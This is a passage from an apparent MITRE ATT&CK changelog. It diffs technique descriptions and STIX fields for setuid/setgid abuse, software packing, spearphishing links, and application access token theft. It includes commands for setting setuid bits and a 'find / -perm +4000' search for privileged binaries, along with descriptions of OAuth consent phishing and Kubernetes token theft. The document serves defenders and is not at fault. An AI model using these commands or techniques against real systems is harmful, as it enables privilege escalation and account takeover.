| be set for their own applications. These bits are indicated | | fy the setuid or setgid flag to be set for their own applica |
| with an "s" instead of an "x" when viewing a file's attribu | | tions (i.e. [Linux and Mac File and Directory Permissions Mo |
| tes via <code>ls -l</code>. The <code>chmod</code> program c | | dification](https://attack.mitre.org/techniques/T1222/002)). |
| an set these bits with via bitmasking, <code>chmod 4777 [fil | | The <code>chmod</code> command can set these bits with bitm |
| e]</code> or via shorthand naming, <code>chmod u+s [file]</c | | asking, <code>chmod 4777 [file]</code> or via shorthand nami |
| ode>. Adversaries can use this mechanism on their own malwa | | ng, <code>chmod u+s [file]</code>. This will enable the setu |
| re to make sure they're able to execute in elevated contexts | | id bit. To enable the setgit bit, <code>chmod 2775</code> an |
| in the future.(Citation: OSX Keydnap malware). | | d <code>chmod g+s</code> can be used. Adversaries can use t |
| | | his mechanism on their own malware to make sure they're able |
| | | to execute in elevated contexts in the future.(Citation: OS |
| | | X Keydnap malware) This abuse is often part of a "shell esca |
| | | pe" or other actions to bypass an execution environment with |
| | | restricted permissions. Alternatively, adversaries may cho |
| | | ose to find and target vulnerable binaries with the setuid o |
| | | r setgid bits already enabled (i.e. [File and Directory Disc |
| | | overy](https://attack.mitre.org/techniques/T1083)). The setu |
| | | id and setguid bits are indicated with an "s" instead of an |
| | | "x" when viewing a file's attributes via <code>ls -l</code>. |
| | | The <code>find</code> command can also be used to search fo |
| | | r such files. For example, <code>find / -perm +4000 2>/dev/n |
| | | ull</code> can be used to find files with setuid set and <co |
| | | de>find / -perm +2000 2>/dev/null</code> may be used for set |
| | | gid. Binaries that have these bits set may then be abused by |
| | | adversaries.(Citation: GTFOBins Suid) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-27 00:43:58.149000+00:00 | 2022-04-19 15:07:53.060000+00:00 |
| description | An adversary may perform shell escapes or exploit vulnerabilities in an application with the setsuid or setgid bits to get code running in a different user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application, the application will run with the privileges of the owning user or group respectively. (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges.
Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].
Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware). | An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.
Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgit bit, chmod 2775 and chmod g+s can be used.
Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a "shell escape" or other actions to bypass an execution environment with restricted permissions.
Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid) |
| external_references[1]['source_name'] | setuid man page | GTFOBins Suid |
| external_references[1]['description'] | Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018. | Emilio Pinna, Andrea Cardaci. (n.d.). GTFOBins. Retrieved January 28, 2022. |
| external_references[1]['url'] | http://man7.org/linux/man-pages/man2/setuid.2.html | https://gtfobins.github.io/#+suid |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'setuid man page', 'description': "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.", 'url': 'http://man7.org/linux/man-pages/man2/setuid.2.html'} |
| x_mitre_data_sources | | File: File Modification |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | File: File Modification | |
[T1027.002] Obfuscated Files or Information: Software Packing
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may perform software packing or virtual machine | t | Adversaries may perform software packing or virtual machine |
| software protection to conceal their code. Software packing | | software protection to conceal their code. Software packing |
| is a method of compressing or encrypting an executable. Pack | | is a method of compressing or encrypting an executable. Pack |
| ing an executable changes the file signature in an attempt t | | ing an executable changes the file signature in an attempt t |
| o avoid signature-based detection. Most decompression techni | | o avoid signature-based detection. Most decompression techni |
| ques decompress the executable code in memory. Virtual machi | | ques decompress the executable code in memory. Virtual machi |
| ne software protection translates an executable's original c | | ne software protection translates an executable's original c |
| ode into a special format that only a special virtual machin | | ode into a special format that only a special virtual machin |
| e can run. A virtual machine is then called to run this code | | e can run. A virtual machine is then called to run this code |
| .(Citation: ESET FinFisher Jan 2018) Utilities used to per | | .(Citation: ESET FinFisher Jan 2018) Utilities used to per |
| form software packing are called packers. Example packers ar | | form software packing are called packers. Example packers ar |
| e MPRESS and UPX. A more comprehensive list of known packers | | e MPRESS and UPX. A more comprehensive list of known packers |
| is available, (Citation: Wikipedia Exe Compression) but adv | | is available, but adversaries may create their own packing |
| ersaries may create their own packing techniques that do not | | techniques that do not leave the same artifacts as well-know |
| leave the same artifacts as well-known packers to evade def | | n packers to evade defenses.(Citation: Awesome Executable Pa |
| enses. | | cking) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Alexandre D'Hondt. (n.d.). Awesome Executable Packing. Retrieved March 11, 2022. |
| external_references | | CAPEC-570 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | CAPEC-570 | |
| external_references | Executable compression. (n.d.). Retrieved December 4, 2014. | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-15 13:56:47.154000+00:00 | 2022-04-19 02:09:27.046000+00:00 |
| description | Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)
Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses. | Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)
Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing) |
| external_references[1]['source_name'] | capec | Awesome Executable Packing |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/570.html | https://github.com/dhondta/awesome-executable-packing |
| external_references[3]['source_name'] | Wikipedia Exe Compression | capec |
| external_references[3]['url'] | http://en.wikipedia.org/wiki/Executable_compression | https://capec.mitre.org/data/definitions/570.html |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Linux |
[T1566.002] Phishing: Spearphishing Link
Current version: 2.2
Version changed from: 2.1 → 2.2
|
|
|---|
| t | Adversaries may send spearphishing emails with a malicious l | t | Adversaries may send spearphishing emails with a malicious l |
| ink in an attempt to gain access to victim systems. Spearphi | | ink in an attempt to gain access to victim systems. Spearphi |
| shing with a link is a specific variant of spearphishing. It | | shing with a link is a specific variant of spearphishing. It |
| is different from other forms of spearphishing in that it e | | is different from other forms of spearphishing in that it e |
| mploys the use of links to download malware contained in ema | | mploys the use of links to download malware contained in ema |
| il, instead of attaching malicious files to the email itself | | il, instead of attaching malicious files to the email itself |
| , to avoid defenses that may inspect email attachments. Spea | | , to avoid defenses that may inspect email attachments. Spea |
| rphishing may also involve social engineering techniques, su | | rphishing may also involve social engineering techniques, su |
| ch as posing as a trusted source. All forms of spearphishin | | ch as posing as a trusted source. All forms of spearphishin |
| g are electronically delivered social engineering targeted a | | g are electronically delivered social engineering targeted a |
| t a specific individual, company, or industry. In this case, | | t a specific individual, company, or industry. In this case, |
| the malicious emails contain links. Generally, the links wi | | the malicious emails contain links. Generally, the links wi |
| ll be accompanied by social engineering text and require the | | ll be accompanied by social engineering text and require the |
| user to actively click or copy and paste a URL into a brows | | user to actively click or copy and paste a URL into a brows |
| er, leveraging [User Execution](https://attack.mitre.org/tec | | er, leveraging [User Execution](https://attack.mitre.org/tec |
| hniques/T1204). The visited website may compromise the web b | | hniques/T1204). The visited website may compromise the web b |
| rowser using an exploit, or the user will be prompted to dow | | rowser using an exploit, or the user will be prompted to dow |
| nload applications, documents, zip files, or even executable | | nload applications, documents, zip files, or even executable |
| s depending on the pretext for the email in the first place. | | s depending on the pretext for the email in the first place. |
| Adversaries may also include links that are intended to int | | Adversaries may also include links that are intended to int |
| eract directly with an email reader, including embedded imag | | eract directly with an email reader, including embedded imag |
| es intended to exploit the end system directly or verify the | | es intended to exploit the end system directly or verify the |
| receipt of an email (i.e. web bugs/web beacons). Links may | | receipt of an email (i.e. web bugs/web beacons). Adversar |
| also direct users to malicious applications designed to [St | | ies may also utilize links to perform consent phishing, typi |
| eal Application Access Token](https://attack.mitre.org/techn | | cally with OAuth 2.0 request URLs that when accepted by the |
| iques/T1528)s, like OAuth tokens, in order to gain access to | | user provide permissions/access for malicious applications, |
| protected applications and information.(Citation: Trend Mic | | allowing adversaries to [Steal Application Access Token](ht |
| ro Pawn Storm OAuth 2017) | | tps://attack.mitre.org/techniques/T1528)s.(Citation: Trend M |
| | | icro Pawn Storm OAuth 2017) These stolen access tokens allow |
| | | the adversary to perform various actions on behalf of the u |
| | | ser via API calls. (Citation: Microsoft OAuth 2.0 Consent Ph |
| | | ishing 2021) |
New Mitigations:
- M1018: User Account Management
- M1047: Audit
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020. |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | CAPEC-163 | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-14 14:38:42.715000+00:00 | 2022-04-19 15:07:40.623000+00:00 |
| description | Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017) | Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons).
Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021) |
| external_references[1]['source_name'] | capec | ACSC Email Spoofing |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/163.html | https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf |
| external_references[3]['source_name'] | Microsoft Anti Spoofing | Microsoft OAuth 2.0 Consent Phishing 2021 |
| external_references[3]['description'] | Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020. | Microsoft 365 Defender Threat Intelligence Team. (2021, June 14). Microsoft delivers comprehensive solution to battle rise in consent phishing emails. Retrieved December 13, 2021. |
| external_references[3]['url'] | https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide | https://www.microsoft.com/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/ |
| external_references[4]['source_name'] | ACSC Email Spoofing | Microsoft Anti Spoofing |
| external_references[4]['description'] | Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020. | Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020. |
| external_references[4]['url'] | https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf | https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide |
| x_mitre_detection | URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.
Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)
Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs. | URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites as well as links redirecting to adversary infrastructure based by upon suspicious OAuth patterns with unusual TLDs.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021). Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.
Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)
Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs. |
| x_mitre_version | 2.1 | 2.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/163.html', 'external_id': 'CAPEC-163'} |
| x_mitre_contributors | | Kobi Haimovich, CardinalOps |
| x_mitre_data_sources | | Application Log: Application Log Content |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Application Log: Application Log Content | |
[T1598.003] Phishing for Information: Spearphishing Link
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may send spearphishing messages with a malicious | t | Adversaries may send spearphishing messages with a malicious |
| link to elicit sensitive information that can be used durin | | link to elicit sensitive information that can be used durin |
| g targeting. Spearphishing for information is an attempt to | | g targeting. Spearphishing for information is an attempt to |
| trick targets into divulging information, frequently credent | | trick targets into divulging information, frequently credent |
| ials or other actionable information. Spearphishing for info | | ials or other actionable information. Spearphishing for info |
| rmation frequently involves social engineering techniques, s | | rmation frequently involves social engineering techniques, s |
| uch as posing as a source with a reason to collect informati | | uch as posing as a source with a reason to collect informati |
| on (ex: [Establish Accounts](https://attack.mitre.org/techni | | on (ex: [Establish Accounts](https://attack.mitre.org/techni |
| ques/T1585) or [Compromise Accounts](https://attack.mitre.or | | ques/T1585) or [Compromise Accounts](https://attack.mitre.or |
| g/techniques/T1586)) and/or sending multiple, seemingly urge | | g/techniques/T1586)) and/or sending multiple, seemingly urge |
| nt messages. All forms of spearphishing are electronically | | nt messages. All forms of spearphishing are electronically |
| delivered social engineering targeted at a specific individu | | delivered social engineering targeted at a specific individu |
| al, company, or industry. In this scenario, the malicious em | | al, company, or industry. In this scenario, the malicious em |
| ails contain links generally accompanied by social engineeri | | ails contain links generally accompanied by social engineeri |
| ng text to coax the user to actively click or copy and paste | | ng text to coax the user to actively click or copy and paste |
| a URL into a browser.(Citation: TrendMictro Phishing)(Citat | | a URL into a browser.(Citation: TrendMictro Phishing)(Citat |
| ion: PCMag FakeLogin) The given website may closely resemble | | ion: PCMag FakeLogin) The given website may closely resemble |
| a legitimate site in appearance and have a URL containing e | | a legitimate site in appearance and have a URL containing e |
| lements from the real site. From the fake website, informati | | lements from the real site. From the fake website, informati |
| on is gathered in web forms and sent to the attacker. Advers | | on is gathered in web forms and sent to the adversary. Adver |
| aries may also use information from previous reconnaissance | | saries may also use information from previous reconnaissance |
| efforts (ex: [Search Open Websites/Domains](https://attack.m | | efforts (ex: [Search Open Websites/Domains](https://attack. |
| itre.org/techniques/T1593) or [Search Victim-Owned Websites] | | mitre.org/techniques/T1593) or [Search Victim-Owned Websites |
| (https://attack.mitre.org/techniques/T1594)) to craft persua | | ](https://attack.mitre.org/techniques/T1594)) to craft persu |
| sive and believable lures. | | asive and believable lures. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-15 03:42:26.537000+00:00 | 2022-03-08 21:57:55.192000+00:00 |
| description | Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.
All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. | Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.
All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. |
| x_mitre_data_sources[0] | Application Log: Application Log Content | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[2] | Network Traffic: Network Traffic Flow | Application Log: Application Log Content |
| x_mitre_version | 1.1 | 1.2 |
[T1528] Steal Application Access Token
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries can steal user application access tokens as a me | t | Adversaries can steal application access tokens as a means o |
| ans of acquiring credentials to access remote systems and re | | f acquiring credentials to access remote systems and resourc |
| sources. This can occur through social engineering and typic | | es. Application access tokens are used to make authorized A |
| ally requires user action to grant access. Application acce | | PI requests on behalf of a user or service and are commonly |
| ss tokens are used to make authorized API requests on behalf | | used as a way to access resources in cloud and container-bas |
| of a user and are commonly used as a way to access resource | | ed applications and software-as-a-service (SaaS).(Citation: |
| s in cloud-based applications and software-as-a-service (Saa | | Auth0 - Why You Should Always Use Access Tokens to Secure AP |
| S).(Citation: Auth0 - Why You Should Always Use Access Token | | Is Sept 2019) OAuth is one commonly implemented framework th |
| s to Secure APIs Sept 2019) OAuth is one commonly implemente | | at issues tokens to users for access to systems. Adversaries |
| d framework that issues tokens to users for access to system | | who steal account API tokens in cloud and containerized env |
| s. An application desiring access to cloud-based services or | | ironments may be able to access data and perform actions wit |
| protected APIs can gain entry using OAuth 2.0 through a var | | h the permissions of these accounts, which can lead to privi |
| iety of authorization protocols. An example commonly-used se | | lege escalation and further compromise of the environment. |
| quence is Microsoft's Authorization Code Grant flow.(Citatio | | In Kubernetes environments, processes running inside a conta |
| n: Microsoft Identity Platform Protocols May 2019)(Citation: | | iner communicate with the Kubernetes API server using servic |
| Microsoft - OAuth Code Authorization flow - June 2019) An O | | e account tokens. If a container is compromised, an attacker |
| Auth access token enables a third-party application to inter | | may be able to steal the container’s token and thereby gain |
| act with resources containing user data in the ways requeste | | access to Kubernetes API commands.(Citation: Kubernetes Ser |
| d by the application without obtaining user credentials. | | vice Accounts) Token theft can also occur through social en |
| Adversaries can leverage OAuth authorization by constructing | | gineering, in which case user action may be required to gran |
| a malicious application designed to be granted access to re | | t access. An application desiring access to cloud-based serv |
| sources with the target user's OAuth token. The adversary wi | | ices or protected APIs can gain entry using OAuth 2.0 throug |
| ll need to complete registration of their application with t | | h a variety of authorization protocols. An example commonly- |
| he authorization server, for example Microsoft Identity Plat | | used sequence is Microsoft's Authorization Code Grant flow.( |
| form using Azure Portal, the Visual Studio IDE, the command- | | Citation: Microsoft Identity Platform Protocols May 2019)(Ci |
| line interface, PowerShell, or REST API calls.(Citation: Mic | | tation: Microsoft - OAuth Code Authorization flow - June 201 |
| rosoft - Azure AD App Registration - May 2019) Then, they ca | | 9) An OAuth access token enables a third-party application t |
| n send a link through [Spearphishing Link](https://attack.mi | | o interact with resources containing user data in the ways r |
| tre.org/techniques/T1566/002) to the target user to entice t | | equested by the application without obtaining user credentia |
| hem to grant access to the application. Once the OAuth acces | | ls. Adversaries can leverage OAuth authorization by const |
| s token is granted, the application can gain potentially lon | | ructing a malicious application designed to be granted acces |
| g-term access to features of the user account through [Appli | | s to resources with the target user's OAuth token.(Citation: |
| cation Access Token](https://attack.mitre.org/techniques/T15 | | Amnesty OAuth Phishing Attacks, August 2019)(Citation: Tren |
| 50/001).(Citation: Microsoft - Azure AD Identity Tokens - Au | | d Micro Pawn Storm OAuth 2017) The adversary will need to co |
| g 2019) Adversaries have been seen targeting Gmail, Microso | | mplete registration of their application with the authorizat |
| ft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Ph | | ion server, for example Microsoft Identity Platform using Az |
| ishing Attacks, August 2019)(Citation: Trend Micro Pawn Stor | | ure Portal, the Visual Studio IDE, the command-line interfac |
| m OAuth 2017) | | e, PowerShell, or REST API calls.(Citation: Microsoft - Azur |
| | | e AD App Registration - May 2019) Then, they can send a [Spe |
| | | arphishing Link](https://attack.mitre.org/techniques/T1566/0 |
| | | 02) to the target user to entice them to grant access to the |
| | | application. Once the OAuth access token is granted, the ap |
| | | plication can gain potentially long-term access to features |
| | | of the user account through [Application Access Token](https |
| | | ://attack.mitre.org/techniques/T1550/001).(Citation: Microso |
| | | ft - Azure AD Identity Tokens - Aug 2019) Application acces |
| | | s tokens may function within a limited lifetime, limiting ho |
| | | w long an adversary can utilize the stolen token. However, i |
| | | n some cases, adversaries can also steal application refresh |
| | | tokens(Citation: Auth0 Understanding Refresh Tokens), allow |
| | | ing them to obtain new access tokens without prompting the u |
| | | ser. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-14 17:56:17.311000+00:00 | 2022-04-21 16:25:11.482000+00:00 |
| description | Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access.
Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.
Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)
Adversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) | Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.
Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.
In Kubernetes environments, processes running inside a container communicate with the Kubernetes API server using service account tokens. If a container is compromised, an attacker may be able to steal the container’s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts)
Token theft can also occur through social engineering, in which case user action may be required to grant access. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials.
Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)
